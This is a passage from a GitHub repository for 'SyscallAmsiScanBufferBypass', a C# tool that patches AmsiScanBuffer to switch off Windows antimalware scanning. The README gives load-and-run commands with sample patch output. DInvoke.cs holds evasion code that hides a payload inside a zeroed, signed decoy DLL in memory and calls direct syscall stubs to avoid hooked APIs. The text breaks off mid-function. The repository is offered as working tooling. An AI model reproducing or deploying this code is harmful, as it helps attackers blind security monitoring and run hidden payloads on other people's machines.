├── .gitattributes ├── .github └── FUNDING.yml ├── README.md ├── SyscallBypass.sln └── SyscallBypass ├── DInvoke.cs ├── Program.cs ├── Properties └── AssemblyInfo.cs └── SyscallBypass.csproj /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: [S3cur3Th1sSh1t] 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SyscallAmsiScanBufferBypass 2 | 3 | AmsiScanBuffer Patch using D/Invoke. 4 | 5 | Credit goes to [RastaMouses original work](https://github.com/rasta-mouse/AmsiScanBufferBypass). 6 | 7 | I was just using [TheWovers D/Invoke](https://thewover.github.io/Dynamic-Invoke/) to port the `P/Invoke` functions to `D/Invoke`. 8 | 9 | ### C# 10 | 11 | Can be compiled to a DLL and loaded via reflection, or included in a larger .NET Assembly (e.g. [SharpSploit](https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/Evasion/Amsi.cs)). 12 | 13 | ``` 14 | PS > PS C:\temp> add-type -Path .\SyscallBypass.dll 15 | PS > [Patch.bySyscall]::Patch() 16 | 17 | [>] Manually mapping kernel32.dll into current process memory 18 | 19 | Successfully allocated memory! 20 | Successfully wrote PE header 21 | Successfully wrote section .text 22 | Successfully wrote section .rdata 23 | Successfully wrote section .data 24 | Successfully wrote section .pdata 25 | Successfully wrote section .rsrc 26 | Successfully wrote section .reloc 27 | 28 | [>] Module Base : 24AFF3D0000 29 | 30 | [>] Process Handle : 7FFF8DC60000 31 | 32 | [>] Patch address : 7FFF8DC62420 33 | 34 | [+] NtProtectVirtualMemory success, going to patch it now! 35 | 36 | [>] Patching at address : 7FFF8DC62420 37 | 38 | [+] NtProtectVirtualMemory set back to oldprotect! 39 | ``` 40 | 41 | 42 | -------------------------------------------------------------------------------- /SyscallBypass.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30413.136 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SyscallBypass", "SyscallBypass\SyscallBypass.csproj", "{3E4E00BF-0903-4C5E-82E7-FD338B383DEA}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {3E4E00BF-0903-4C5E-82E7-FD338B383DEA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {3E4E00BF-0903-4C5E-82E7-FD338B383DEA}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {3E4E00BF-0903-4C5E-82E7-FD338B383DEA}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {3E4E00BF-0903-4C5E-82E7-FD338B383DEA}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {9929B255-1354-415A-9A0D-EF87BF880E1C} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SyscallBypass/DInvoke.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.IO; 5 | using System.Runtime.InteropServices; 6 | using System.Text; 7 | using System.Diagnostics; 8 | using System.Security.Cryptography; 9 | using System.Security.Cryptography.X509Certificates; 10 | 11 | namespace Patch 12 | { 13 | public class DInvoke 14 | { 15 | 16 | 17 | class Utilities 18 | { 19 | /// 20 | /// Checks that a file is signed and has a valid signature. 21 | /// 22 | /// Path of file to check. 23 | /// 24 | public static bool FileHasValidSignature(string FilePath) 25 | { 26 | X509Certificate2 FileCertificate; 27 | try 28 | { 29 | X509Certificate signer = X509Certificate.CreateFromSignedFile(FilePath); 30 | FileCertificate = new X509Certificate2(signer); 31 | } 32 | catch 33 | { 34 | return false; 35 | } 36 | 37 | X509Chain CertificateChain = new X509Chain(); 38 | CertificateChain.ChainPolicy.RevocationFlag = X509RevocationFlag.EntireChain; 39 | CertificateChain.ChainPolicy.RevocationMode = X509RevocationMode.Offline; 40 | CertificateChain.ChainPolicy.VerificationFlags = X509VerificationFlags.NoFlag; 41 | 42 | return CertificateChain.Build(FileCertificate); 43 | } 44 | } 45 | 46 | public class Overload 47 | { 48 | /// 49 | /// Locate a signed module with a minimum size which can be used for overloading. 50 | /// 51 | /// The Wover (@TheRealWover) 52 | /// Minimum module byte size. 53 | /// Whether to require that the module be legitimately signed. 54 | /// 55 | /// String, the full path for the candidate module if one is found, or an empty string if one is not found. 56 | /// 57 | public static string FindDecoyModule(long MinSize, bool LegitSigned = false) 58 | { 59 | string SystemDirectoryPath = Environment.GetEnvironmentVariable("WINDIR") + Path.DirectorySeparatorChar + "System32"; 60 | List files = new List(Directory.GetFiles(SystemDirectoryPath, "*.dll")); 61 | foreach (ProcessModule Module in Process.GetCurrentProcess().Modules) 62 | { 63 | if (files.Any(s => s.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase))) 64 | { 65 | files.RemoveAt(files.FindIndex(x => x.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase))); 66 | } 67 | } 68 | 69 | //Pick a random candidate that meets the requirements 70 | 71 | Random r = new Random(); 72 | //List of candidates that have been considered and rejected 73 | List candidates = new List(); 74 | while (candidates.Count != files.Count) 75 | { 76 | //Iterate through the list of files randomly 77 | int rInt = r.Next(0, files.Count); 78 | string currentCandidate = files[rInt]; 79 | 80 | //Check that the size of the module meets requirements 81 | if (candidates.Contains(rInt) == false && 82 | new FileInfo(currentCandidate).Length >= MinSize) 83 | { 84 | //Check that the module meets signing requirements 85 | if (LegitSigned == true) 86 | { 87 | if (Utilities.FileHasValidSignature(currentCandidate) == true) 88 | return currentCandidate; 89 | else 90 | candidates.Add(rInt); 91 | } 92 | else 93 | return currentCandidate; 94 | } 95 | candidates.Add(rInt); 96 | } 97 | return string.Empty; 98 | } 99 | 100 | /// 101 | /// Load a signed decoy module into memory, creating legitimate file-backed memory sections within the process. Afterwards overload that 102 | /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory. 103 | /// 104 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) 105 | /// Full path to the payload module on disk. 106 | /// Optional, full path the decoy module to overload in memory. 107 | /// PE.PE_MANUAL_MAP 108 | public static PE.PE_MANUAL_MAP OverloadModule(string PayloadPath, string DecoyModulePath = null, bool LegitSigned = false) 109 | { 110 | // Get approximate size of Payload 111 | if (!File.Exists(PayloadPath)) 112 | { 113 | throw new InvalidOperationException("Payload filepath not found."); 114 | } 115 | byte[] Payload = File.ReadAllBytes(PayloadPath); 116 | 117 | return OverloadModule(Payload, DecoyModulePath, LegitSigned); 118 | } 119 | 120 | /// 121 | /// Load a signed decoy module into memory creating legitimate file-backed memory sections within the process. Afterwards overload that 122 | /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory. 123 | /// 124 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) 125 | /// Full byte array for the payload module. 126 | /// Optional, full path the decoy module to overload in memory. 127 | /// PE.PE_MANUAL_MAP 128 | public static PE.PE_MANUAL_MAP OverloadModule(byte[] Payload, string DecoyModulePath = null, bool LegitSigned = true) 129 | { 130 | // Did we get a DecoyModule? 131 | if (!string.IsNullOrEmpty(DecoyModulePath)) 132 | { 133 | if (!File.Exists(DecoyModulePath)) 134 | { 135 | throw new InvalidOperationException("Decoy filepath not found."); 136 | } 137 | byte[] DecoyFileBytes = File.ReadAllBytes(DecoyModulePath); 138 | if (DecoyFileBytes.Length < Payload.Length) 139 | { 140 | throw new InvalidOperationException("Decoy module is too small to host the payload."); 141 | } 142 | } 143 | else 144 | { 145 | DecoyModulePath = FindDecoyModule(Payload.Length); 146 | if (string.IsNullOrEmpty(DecoyModulePath)) 147 | { 148 | throw new InvalidOperationException("Failed to find suitable decoy module."); 149 | } 150 | } 151 | 152 | // Map decoy from disk 153 | PE.PE_MANUAL_MAP DecoyMetaData = Map.MapModuleFromDisk(DecoyModulePath); 154 | IntPtr RegionSize = DecoyMetaData.PEINFO.Is32Bit ? (IntPtr)DecoyMetaData.PEINFO.OptHeader32.SizeOfImage : (IntPtr)DecoyMetaData.PEINFO.OptHeader64.SizeOfImage; 155 | 156 | // Change permissions to RW 157 | DynamicNative.NtProtectVirtualMemory((IntPtr)(-1), ref DecoyMetaData.ModuleBase, ref RegionSize, Win32.WinNT.PAGE_READWRITE); 158 | 159 | // Zero out memory 160 | DynamicNative.RtlZeroMemory(DecoyMetaData.ModuleBase, (int)RegionSize); 161 | 162 | // Overload module in memory 163 | PE.PE_MANUAL_MAP OverloadedModuleMetaData = Map.MapModuleToMemory(Payload, DecoyMetaData.ModuleBase); 164 | OverloadedModuleMetaData.DecoyModule = DecoyModulePath; 165 | 166 | return OverloadedModuleMetaData; 167 | } 168 | } 169 | 170 | public static class PE 171 | { 172 | // DllMain constants 173 | public const UInt32 DLL_PROCESS_DETACH = 0; 174 | public const UInt32 DLL_PROCESS_ATTACH = 1; 175 | public const UInt32 DLL_THREAD_ATTACH = 2; 176 | public const UInt32 DLL_THREAD_DETACH = 3; 177 | 178 | // Primary class for loading PE 179 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 180 | public delegate bool DllMain(IntPtr hinstDLL, uint fdwReason, IntPtr lpvReserved); 181 | 182 | [Flags] 183 | public enum DataSectionFlags : uint 184 | { 185 | TYPE_NO_PAD = 0x00000008, 186 | CNT_CODE = 0x00000020, 187 | CNT_INITIALIZED_DATA = 0x00000040, 188 | CNT_UNINITIALIZED_DATA = 0x00000080, 189 | LNK_INFO = 0x00000200, 190 | LNK_REMOVE = 0x00000800, 191 | LNK_COMDAT = 0x00001000, 192 | NO_DEFER_SPEC_EXC = 0x00004000, 193 | GPREL = 0x00008000, 194 | MEM_FARDATA = 0x00008000, 195 | MEM_PURGEABLE = 0x00020000, 196 | MEM_16BIT = 0x00020000, 197 | MEM_LOCKED = 0x00040000, 198 | MEM_PRELOAD = 0x00080000, 199 | ALIGN_1BYTES = 0x00100000, 200 | ALIGN_2BYTES = 0x00200000, 201 | ALIGN_4BYTES = 0x00300000, 202 | ALIGN_8BYTES = 0x00400000, 203 | ALIGN_16BYTES = 0x00500000, 204 | ALIGN_32BYTES = 0x00600000, 205 | ALIGN_64BYTES = 0x00700000, 206 | ALIGN_128BYTES = 0x00800000, 207 | ALIGN_256BYTES = 0x00900000, 208 | ALIGN_512BYTES = 0x00A00000, 209 | ALIGN_1024BYTES = 0x00B00000, 210 | ALIGN_2048BYTES = 0x00C00000, 211 | ALIGN_4096BYTES = 0x00D00000, 212 | ALIGN_8192BYTES = 0x00E00000, 213 | ALIGN_MASK = 0x00F00000, 214 | LNK_NRELOC_OVFL = 0x01000000, 215 | MEM_DISCARDABLE = 0x02000000, 216 | MEM_NOT_CACHED = 0x04000000, 217 | MEM_NOT_PAGED = 0x08000000, 218 | MEM_SHARED = 0x10000000, 219 | MEM_EXECUTE = 0x20000000, 220 | MEM_READ = 0x40000000, 221 | MEM_WRITE = 0x80000000 222 | } 223 | 224 | 225 | public struct IMAGE_DOS_HEADER 226 | { // DOS .EXE header 227 | public UInt16 e_magic; // Magic number 228 | public UInt16 e_cblp; // Bytes on last page of file 229 | public UInt16 e_cp; // Pages in file 230 | public UInt16 e_crlc; // Relocations 231 | public UInt16 e_cparhdr; // Size of header in paragraphs 232 | public UInt16 e_minalloc; // Minimum extra paragraphs needed 233 | public UInt16 e_maxalloc; // Maximum extra paragraphs needed 234 | public UInt16 e_ss; // Initial (relative) SS value 235 | public UInt16 e_sp; // Initial SP value 236 | public UInt16 e_csum; // Checksum 237 | public UInt16 e_ip; // Initial IP value 238 | public UInt16 e_cs; // Initial (relative) CS value 239 | public UInt16 e_lfarlc; // File address of relocation table 240 | public UInt16 e_ovno; // Overlay number 241 | public UInt16 e_res_0; // Reserved words 242 | public UInt16 e_res_1; // Reserved words 243 | public UInt16 e_res_2; // Reserved words 244 | public UInt16 e_res_3; // Reserved words 245 | public UInt16 e_oemid; // OEM identifier (for e_oeminfo) 246 | public UInt16 e_oeminfo; // OEM information; e_oemid specific 247 | public UInt16 e_res2_0; // Reserved words 248 | public UInt16 e_res2_1; // Reserved words 249 | public UInt16 e_res2_2; // Reserved words 250 | public UInt16 e_res2_3; // Reserved words 251 | public UInt16 e_res2_4; // Reserved words 252 | public UInt16 e_res2_5; // Reserved words 253 | public UInt16 e_res2_6; // Reserved words 254 | public UInt16 e_res2_7; // Reserved words 255 | public UInt16 e_res2_8; // Reserved words 256 | public UInt16 e_res2_9; // Reserved words 257 | public UInt32 e_lfanew; // File address of new exe header 258 | } 259 | 260 | [StructLayout(LayoutKind.Sequential)] 261 | public struct IMAGE_DATA_DIRECTORY 262 | { 263 | public UInt32 VirtualAddress; 264 | public UInt32 Size; 265 | } 266 | 267 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 268 | public struct IMAGE_OPTIONAL_HEADER32 269 | { 270 | public UInt16 Magic; 271 | public Byte MajorLinkerVersion; 272 | public Byte MinorLinkerVersion; 273 | public UInt32 SizeOfCode; 274 | public UInt32 SizeOfInitializedData; 275 | public UInt32 SizeOfUninitializedData; 276 | public UInt32 AddressOfEntryPoint; 277 | public UInt32 BaseOfCode; 278 | public UInt32 BaseOfData; 279 | public UInt32 ImageBase; 280 | public UInt32 SectionAlignment; 281 | public UInt32 FileAlignment; 282 | public UInt16 MajorOperatingSystemVersion; 283 | public UInt16 MinorOperatingSystemVersion; 284 | public UInt16 MajorImageVersion; 285 | public UInt16 MinorImageVersion; 286 | public UInt16 MajorSubsystemVersion; 287 | public UInt16 MinorSubsystemVersion; 288 | public UInt32 Win32VersionValue; 289 | public UInt32 SizeOfImage; 290 | public UInt32 SizeOfHeaders; 291 | public UInt32 CheckSum; 292 | public UInt16 Subsystem; 293 | public UInt16 DllCharacteristics; 294 | public UInt32 SizeOfStackReserve; 295 | public UInt32 SizeOfStackCommit; 296 | public UInt32 SizeOfHeapReserve; 297 | public UInt32 SizeOfHeapCommit; 298 | public UInt32 LoaderFlags; 299 | public UInt32 NumberOfRvaAndSizes; 300 | 301 | public IMAGE_DATA_DIRECTORY ExportTable; 302 | public IMAGE_DATA_DIRECTORY ImportTable; 303 | public IMAGE_DATA_DIRECTORY ResourceTable; 304 | public IMAGE_DATA_DIRECTORY ExceptionTable; 305 | public IMAGE_DATA_DIRECTORY CertificateTable; 306 | public IMAGE_DATA_DIRECTORY BaseRelocationTable; 307 | public IMAGE_DATA_DIRECTORY Debug; 308 | public IMAGE_DATA_DIRECTORY Architecture; 309 | public IMAGE_DATA_DIRECTORY GlobalPtr; 310 | public IMAGE_DATA_DIRECTORY TLSTable; 311 | public IMAGE_DATA_DIRECTORY LoadConfigTable; 312 | public IMAGE_DATA_DIRECTORY BoundImport; 313 | public IMAGE_DATA_DIRECTORY IAT; 314 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor; 315 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; 316 | public IMAGE_DATA_DIRECTORY Reserved; 317 | } 318 | 319 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 320 | public struct IMAGE_OPTIONAL_HEADER64 321 | { 322 | public UInt16 Magic; 323 | public Byte MajorLinkerVersion; 324 | public Byte MinorLinkerVersion; 325 | public UInt32 SizeOfCode; 326 | public UInt32 SizeOfInitializedData; 327 | public UInt32 SizeOfUninitializedData; 328 | public UInt32 AddressOfEntryPoint; 329 | public UInt32 BaseOfCode; 330 | public UInt64 ImageBase; 331 | public UInt32 SectionAlignment; 332 | public UInt32 FileAlignment; 333 | public UInt16 MajorOperatingSystemVersion; 334 | public UInt16 MinorOperatingSystemVersion; 335 | public UInt16 MajorImageVersion; 336 | public UInt16 MinorImageVersion; 337 | public UInt16 MajorSubsystemVersion; 338 | public UInt16 MinorSubsystemVersion; 339 | public UInt32 Win32VersionValue; 340 | public UInt32 SizeOfImage; 341 | public UInt32 SizeOfHeaders; 342 | public UInt32 CheckSum; 343 | public UInt16 Subsystem; 344 | public UInt16 DllCharacteristics; 345 | public UInt64 SizeOfStackReserve; 346 | public UInt64 SizeOfStackCommit; 347 | public UInt64 SizeOfHeapReserve; 348 | public UInt64 SizeOfHeapCommit; 349 | public UInt32 LoaderFlags; 350 | public UInt32 NumberOfRvaAndSizes; 351 | 352 | public IMAGE_DATA_DIRECTORY ExportTable; 353 | public IMAGE_DATA_DIRECTORY ImportTable; 354 | public IMAGE_DATA_DIRECTORY ResourceTable; 355 | public IMAGE_DATA_DIRECTORY ExceptionTable; 356 | public IMAGE_DATA_DIRECTORY CertificateTable; 357 | public IMAGE_DATA_DIRECTORY BaseRelocationTable; 358 | public IMAGE_DATA_DIRECTORY Debug; 359 | public IMAGE_DATA_DIRECTORY Architecture; 360 | public IMAGE_DATA_DIRECTORY GlobalPtr; 361 | public IMAGE_DATA_DIRECTORY TLSTable; 362 | public IMAGE_DATA_DIRECTORY LoadConfigTable; 363 | public IMAGE_DATA_DIRECTORY BoundImport; 364 | public IMAGE_DATA_DIRECTORY IAT; 365 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor; 366 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; 367 | public IMAGE_DATA_DIRECTORY Reserved; 368 | } 369 | 370 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 371 | public struct IMAGE_FILE_HEADER 372 | { 373 | public UInt16 Machine; 374 | public UInt16 NumberOfSections; 375 | public UInt32 TimeDateStamp; 376 | public UInt32 PointerToSymbolTable; 377 | public UInt32 NumberOfSymbols; 378 | public UInt16 SizeOfOptionalHeader; 379 | public UInt16 Characteristics; 380 | } 381 | 382 | [StructLayout(LayoutKind.Explicit)] 383 | public struct IMAGE_SECTION_HEADER 384 | { 385 | [FieldOffset(0)] 386 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] 387 | public char[] Name; 388 | [FieldOffset(8)] 389 | public UInt32 VirtualSize; 390 | [FieldOffset(12)] 391 | public UInt32 VirtualAddress; 392 | [FieldOffset(16)] 393 | public UInt32 SizeOfRawData; 394 | [FieldOffset(20)] 395 | public UInt32 PointerToRawData; 396 | [FieldOffset(24)] 397 | public UInt32 PointerToRelocations; 398 | [FieldOffset(28)] 399 | public UInt32 PointerToLinenumbers; 400 | [FieldOffset(32)] 401 | public UInt16 NumberOfRelocations; 402 | [FieldOffset(34)] 403 | public UInt16 NumberOfLinenumbers; 404 | [FieldOffset(36)] 405 | public DataSectionFlags Characteristics; 406 | 407 | public string Section 408 | { 409 | get { return new string(Name); } 410 | } 411 | } 412 | 413 | [StructLayout(LayoutKind.Explicit)] 414 | public struct IMAGE_EXPORT_DIRECTORY 415 | { 416 | [FieldOffset(0)] 417 | public UInt32 Characteristics; 418 | [FieldOffset(4)] 419 | public UInt32 TimeDateStamp; 420 | [FieldOffset(8)] 421 | public UInt16 MajorVersion; 422 | [FieldOffset(10)] 423 | public UInt16 MinorVersion; 424 | [FieldOffset(12)] 425 | public UInt32 Name; 426 | [FieldOffset(16)] 427 | public UInt32 Base; 428 | [FieldOffset(20)] 429 | public UInt32 NumberOfFunctions; 430 | [FieldOffset(24)] 431 | public UInt32 NumberOfNames; 432 | [FieldOffset(28)] 433 | public UInt32 AddressOfFunctions; 434 | [FieldOffset(32)] 435 | public UInt32 AddressOfNames; 436 | [FieldOffset(36)] 437 | public UInt32 AddressOfOrdinals; 438 | } 439 | 440 | [StructLayout(LayoutKind.Sequential)] 441 | public struct IMAGE_BASE_RELOCATION 442 | { 443 | public uint VirtualAdress; 444 | public uint SizeOfBlock; 445 | } 446 | 447 | [StructLayout(LayoutKind.Sequential)] 448 | public struct PE_META_DATA 449 | { 450 | public UInt32 Pe; 451 | public Boolean Is32Bit; 452 | public IMAGE_FILE_HEADER ImageFileHeader; 453 | public IMAGE_OPTIONAL_HEADER32 OptHeader32; 454 | public IMAGE_OPTIONAL_HEADER64 OptHeader64; 455 | public IMAGE_SECTION_HEADER[] Sections; 456 | } 457 | 458 | [StructLayout(LayoutKind.Sequential)] 459 | public struct PE_MANUAL_MAP 460 | { 461 | public String DecoyModule; 462 | public IntPtr ModuleBase; 463 | public PE_META_DATA PEINFO; 464 | } 465 | 466 | [StructLayout(LayoutKind.Explicit)] 467 | public struct IMAGE_THUNK_DATA32 468 | { 469 | [FieldOffset(0)] 470 | public UInt32 ForwarderString; 471 | [FieldOffset(0)] 472 | public UInt32 Function; 473 | [FieldOffset(0)] 474 | public UInt32 Ordinal; 475 | [FieldOffset(0)] 476 | public UInt32 AddressOfData; 477 | } 478 | 479 | [StructLayout(LayoutKind.Explicit)] 480 | public struct IMAGE_THUNK_DATA64 481 | { 482 | [FieldOffset(0)] 483 | public UInt64 ForwarderString; 484 | [FieldOffset(0)] 485 | public UInt64 Function; 486 | [FieldOffset(0)] 487 | public UInt64 Ordinal; 488 | [FieldOffset(0)] 489 | public UInt64 AddressOfData; 490 | } 491 | 492 | [StructLayout(LayoutKind.Explicit)] 493 | public struct ApiSetNamespace 494 | { 495 | [FieldOffset(0x0C)] 496 | public int Count; 497 | 498 | [FieldOffset(0x10)] 499 | public int EntryOffset; 500 | } 501 | 502 | [StructLayout(LayoutKind.Explicit, Size = 24)] 503 | public struct ApiSetNamespaceEntry 504 | { 505 | [FieldOffset(0x04)] 506 | public int NameOffset; 507 | 508 | [FieldOffset(0x08)] 509 | public int NameLength; 510 | 511 | [FieldOffset(0x10)] 512 | public int ValueOffset; 513 | } 514 | 515 | [StructLayout(LayoutKind.Explicit)] 516 | public struct ApiSetValueEntry 517 | { 518 | [FieldOffset(0x0C)] 519 | public int ValueOffset; 520 | 521 | [FieldOffset(0x10)] 522 | public int ValueCount; 523 | } 524 | 525 | [StructLayout(LayoutKind.Sequential)] 526 | public struct LDR_DATA_TABLE_ENTRY 527 | { 528 | public Native.LIST_ENTRY InLoadOrderLinks; 529 | public Native.LIST_ENTRY InMemoryOrderLinks; 530 | public Native.LIST_ENTRY InInitializationOrderLinks; 531 | public IntPtr DllBase; 532 | public IntPtr EntryPoint; 533 | public UInt32 SizeOfImage; 534 | public Native.UNICODE_STRING FullDllName; 535 | public Native.UNICODE_STRING BaseDllName; 536 | } 537 | }//end class 538 | public class Map 539 | { 540 | 541 | /// 542 | /// Maps a DLL from disk into a Section using NtCreateSection. 543 | /// 544 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) 545 | /// Full path fo the DLL on disk. 546 | /// PE.PE_MANUAL_MAP 547 | public static PE.PE_MANUAL_MAP MapModuleFromDisk(string DLLPath) 548 | { 549 | // Check file exists 550 | if (!File.Exists(DLLPath)) 551 | { 552 | throw new InvalidOperationException("Filepath not found."); 553 | } 554 | 555 | // Open file handle 556 | Native.UNICODE_STRING ObjectName = new Native.UNICODE_STRING(); 557 | DynamicNative.RtlInitUnicodeString(ref ObjectName, (@"\??\" + DLLPath)); 558 | IntPtr pObjectName = Marshal.AllocHGlobal(Marshal.SizeOf(ObjectName)); 559 | Marshal.StructureToPtr(ObjectName, pObjectName, true); 560 | 561 | Native.OBJECT_ATTRIBUTES objectAttributes = new Native.OBJECT_ATTRIBUTES(); 562 | objectAttributes.Length = Marshal.SizeOf(objectAttributes); 563 | objectAttributes.ObjectName = pObjectName; 564 | objectAttributes.Attributes = 0x40; // OBJ_CASE_INSENSITIVE 565 | 566 | Native.IO_STATUS_BLOCK ioStatusBlock = new Native.IO_STATUS_BLOCK(); 567 | 568 | IntPtr hFile = IntPtr.Zero; 569 | 570 | // Syscall NtOpenFile 571 | IntPtr pNtOpenProc = DynamicGeneric.GetSyscallStub("NtOpenFile"); 572 | DynamicNative.DELEGATES.NtOpenFile fSyscallNtOpenFile = (DynamicNative.DELEGATES.NtOpenFile)Marshal.GetDelegateForFunctionPointer(pNtOpenProc, typeof(DynamicNative.DELEGATES.NtOpenFile)); 573 | 574 | 575 | fSyscallNtOpenFile( 576 | ref hFile, 577 | Win32.Kernel32.FileAccessFlags.FILE_READ_DATA | 578 | Win32.Kernel32.FileAccessFlags.FILE_EXECUTE | 579 | Win32.Kernel32.FileAccessFlags.FILE_READ_ATTRIBUTES | 580 | Win32.Kernel32.FileAccessFlags.SYNCHRONIZE, 581 | ref objectAttributes, ref ioStatusBlock, 582 | Win32.Kernel32.FileShareFlags.FILE_SHARE_READ | 583 | Win32.Kernel32.FileShareFlags.FILE_SHARE_DELETE, 584 | Win32.Kernel32.FileOpenFlags.FILE_SYNCHRONOUS_IO_NONALERT | 585 | Win32.Kernel32.FileOpenFlags.FILE_NON_DIRECTORY_FILE 586 | ); 587 | 588 | // Create section from hFile 589 | IntPtr hSection = IntPtr.Zero; 590 | ulong MaxSize = 0; 591 | // Syscall NtCreateSection 592 | 593 | IntPtr pNtCreateSection = DynamicGeneric.GetSyscallStub("NtCreateSection"); 594 | DynamicNative.DELEGATES.NtCreateSection fSyscallNtCreateSection = (DynamicNative.DELEGATES.NtCreateSection)Marshal.GetDelegateForFunctionPointer(pNtCreateSection, typeof(DynamicNative.DELEGATES.NtCreateSection)); 595 | 596 | 597 | fSyscallNtCreateSection( 598 | ref hSection, 599 | (UInt32)Win32.WinNT.ACCESS_MASK.SECTION_ALL_ACCESS, 600 | IntPtr.Zero, 601 | ref MaxSize, 602 | Win32.WinNT.PAGE_READONLY, 603 | Win32.WinNT.SEC_IMAGE, 604 | hFile 605 | ); 606 | 607 | // Map view of file 608 | IntPtr pBaseAddress = IntPtr.Zero; 609 | 610 | // Syscall NtMapViewOfSection 611 | IntPtr pNtMapViewOfSection = DynamicGeneric.GetSyscallStub("NtMapViewOfSection"); 612 | DynamicNative.DELEGATES.NtMapViewOfSection fSyscallNtMapViewOfSection = (DynamicNative.DELEGATES.NtMapViewOfSection)Marshal.GetDelegateForFunctionPointer(pNtMapViewOfSection, typeof(DynamicNative.DELEGATES.NtMapViewOfSection)); 613 | 614 | 615 | fSyscallNtMapViewOfSection( 616 | hSection, (IntPtr)(-1), out pBaseAddress, 617 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 618 | out MaxSize, 0x2, 0x0, 619 | Win32.WinNT.PAGE_READWRITE 620 | ); 621 | 622 | // Prepare return object 623 | PE.PE_MANUAL_MAP SecMapObject = new PE.PE_MANUAL_MAP 624 | { 625 | PEINFO = DynamicGeneric.GetPeMetaData(pBaseAddress), 626 | ModuleBase = pBaseAddress 627 | }; 628 | 629 | return SecMapObject; 630 | } 631 | 632 | /// 633 | /// Allocate file to memory from disk 634 | /// 635 | /// Ruben Boonen (@FuzzySec) 636 | /// Full path to the file to be alloacted. 637 | /// IntPtr base address of the allocated file. 638 | public static IntPtr AllocateFileToMemory(string FilePath) 639 | { 640 | if (!File.Exists(FilePath)) 641 | { 642 | throw new InvalidOperationException("Filepath not found."); 643 | } 644 | 645 | byte[] bFile = File.ReadAllBytes(FilePath); 646 | return AllocateBytesToMemory(bFile); 647 | } 648 | 649 | /// 650 | /// Allocate a byte array to memory 651 | /// 652 | /// Ruben Boonen (@FuzzySec) 653 | /// Byte array to be allocated. 654 | /// IntPtr base address of the allocated file. 655 | public static IntPtr AllocateBytesToMemory(byte[] FileByteArray) 656 | { 657 | IntPtr pFile = Marshal.AllocHGlobal(FileByteArray.Length); 658 | Marshal.Copy(FileByteArray, 0, pFile, FileByteArray.Length); 659 | return pFile; 660 | } 661 | 662 | /// 663 | /// Relocates a module in memory. 664 | /// 665 | /// Ruben Boonen (@FuzzySec) 666 | /// Module meta data struct (PE.PE_META_DATA). 667 | /// Base address of the module in memory. 668 | /// void 669 | public static void RelocateModule(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase) 670 | { 671 | PE.IMAGE_DATA_DIRECTORY idd = PEINFO.Is32Bit ? PEINFO.OptHeader32.BaseRelocationTable : PEINFO.OptHeader64.BaseRelocationTable; 672 | Int64 ImageDelta = PEINFO.Is32Bit ? (Int64)((UInt64)ModuleMemoryBase - PEINFO.OptHeader32.ImageBase) : 673 | (Int64)((UInt64)ModuleMemoryBase - PEINFO.OptHeader64.ImageBase); 674 | 675 | // Ptr for the base reloc table 676 | IntPtr pRelocTable = (IntPtr)((UInt64)ModuleMemoryBase + idd.VirtualAddress); 677 | Int32 nextRelocTableBlock = -1; 678 | // Loop reloc blocks 679 | while (nextRelocTableBlock != 0) 680 | { 681 | PE.IMAGE_BASE_RELOCATION ibr = new PE.IMAGE_BASE_RELOCATION(); 682 | ibr = (PE.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(pRelocTable, typeof(PE.IMAGE_BASE_RELOCATION)); 683 | 684 | Int64 RelocCount = ((ibr.SizeOfBlock - Marshal.SizeOf(ibr)) / 2); 685 | for (int i = 0; i < RelocCount; i++) 686 | { 687 | // Calculate reloc entry ptr 688 | IntPtr pRelocEntry = (IntPtr)((UInt64)pRelocTable + (UInt64)Marshal.SizeOf(ibr) + (UInt64)(i * 2)); 689 | UInt16 RelocValue = (UInt16)Marshal.ReadInt16(pRelocEntry); 690 | 691 | // Parse reloc value 692 | // The type should only ever be 0x0, 0x3, 0xA 693 | // https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#base-relocation-types 694 | UInt16 RelocType = (UInt16)(RelocValue >> 12); 695 | UInt16 RelocPatch = (UInt16)(RelocValue & 0xfff); 696 | 